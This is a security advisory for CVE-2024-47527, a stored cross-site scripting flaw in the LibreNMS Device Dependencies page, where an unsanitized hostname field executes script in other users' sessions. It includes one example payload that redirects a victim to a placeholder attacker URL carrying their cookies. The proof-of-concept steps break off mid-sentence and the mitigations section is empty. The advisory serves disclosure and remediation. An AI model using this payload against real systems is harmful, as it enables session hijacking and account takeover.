LibreNMS has Stored Cross-site Scripting vulnerability in "Device Dependencies" feature
Date: 2024-10
Affected: composer/librenms/librenms
Attack vector: xss
Category: vulnerability-disclosure
Severity: Medium
CVE: CVE-2024-47527
CWE: CWE-79
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L)

### Summary A Stored Cross-Site Scripting (XSS) vulnerability in the "Device Dependencies" feature allows authenticated users to inject arbitrary JavaScript through the device name ("hostname" parameter). This vulnerability can lead to the execution of malicious code in the context of other users' sessions, potentially compromising their accounts and allowing unauthorized actions. ### Details The vulnerability occurs when creating a device within LibreNMS. An attacker can inject arbitrary JavaScript into the hostname parameter. This malicious script is then executed when another user visits the device dependencies page, resulting in an automatic redirect to a website controlled by the attacker. This redirect can be used to steal session cookies or perform other malicious actions. For example, the following payload can be used to exploit the vulnerability: ```t'' autofocus onfocus="document.location='https://<attacker_url>/?c='+document.cookie"``` When the device dependencies page is loaded, this payload triggers the JavaScript, causing the user's browser to redirect to the attacker's website with any non-httponly cookies in the URL. The root cause of this vulnerability is the application's failure to sanitize the row.hostname value before including it in the HTML output. This is evident in the following line of code: https://github.com/librenms/librenms/blob/9455173edce6971777cf6666d540eeeaf6201920/includes/html/pages/device-dependencies.inc.php#L74 ### PoC 1. Add a ne


Mitigations:

Architectural layers (MAESTRO):